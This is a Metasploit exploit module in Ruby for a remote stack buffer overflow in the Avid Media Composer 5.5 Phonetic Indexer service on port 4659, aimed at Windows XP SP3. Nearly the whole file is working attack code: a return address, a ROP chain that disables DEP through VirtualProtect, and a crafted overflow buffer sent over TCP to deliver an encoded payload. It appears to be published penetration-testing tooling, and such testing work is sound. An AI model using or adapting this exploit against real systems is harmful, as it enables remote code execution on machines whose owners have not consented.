113 lines
3.2 KiB
Ruby
113 lines
3.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info={})
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super(update_info(info,
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'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in process
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AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
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5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
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it standalone it will run on port 4660.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'vt [nick.freeman@security-assessment.com]',
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],
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'References' =>
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[
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['OSVDB', '77376'],
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[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
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],
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'Payload' =>
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{
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'Space' => 1012,
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'BadChars' => "\x00\x09\x0a\x0d\x20",
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'DisableNops' => true,
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'EAX',
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP Professional SP3',
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{
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'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 29 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(4659),
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], self.class)
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end
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def exploit
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rop_gadgets = [
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# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
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# a non-sayonara ROP would be super easy too, I'm just lazy :)
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0x7C344CC1, # pop eax;ret;
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0x7C3410C2, # pop ecx;pop ecx;ret;
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0x7C342462, # xor chain; call eax {0x7C3410C2}
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0x7C38C510, # writeable location for lpflOldProtect
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0x7C365645, # pop esi;ret;
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0x7C345243, # ret;
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0x7C348F46, # pop ebp;ret;
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0x7C3487EC, # call eax
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0x7C344CC1, # pop eax;ret;
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0xfffffbfc, # {size}
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0x7C34D749, # neg eax;ret; {adjust size}
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0x7C3458AA, # add ebx, eax;ret; {size into ebx}
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0x7C3439FA, # pop edx;ret;
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0xFFFFFFC0, # {flag}
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0x7C351EB1, # neg edx;ret; {adjust flag}
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0x7C354648, # pop edi;ret;
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0x7C3530EA, # mov eax,[eax];ret;
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0x7C344CC1, # pop eax;ret;
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0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
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0x7C355AEB, # sub eax,30;ret;
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0x7C378C81, # pushad; add al,0xef; ret;
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0x7C36683F, # push esp;ret;
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].pack("V*")
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# need to control a buffer reg for the msf gen'd payload to fly. in this case:
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bufregfix = "\x8b\xc4" # MOV EAX,ESP
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bufregfix += "\x83\xc0\x10" # ADD EAX,10
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connect
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sploit = ''
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sploit << rand_text_alpha_upper(216)
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sploit << [target.ret].pack('V*')
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sploit << "A"*732 #This avoids a busted LoadLibrary
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sploit << rop_gadgets
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sploit << bufregfix
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sploit << "\xeb\x09"
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sploit << rand_text_alpha_upper(9)
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sploit << payload.encoded
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sock.put(sploit)
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handler
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disconnect
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end
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end
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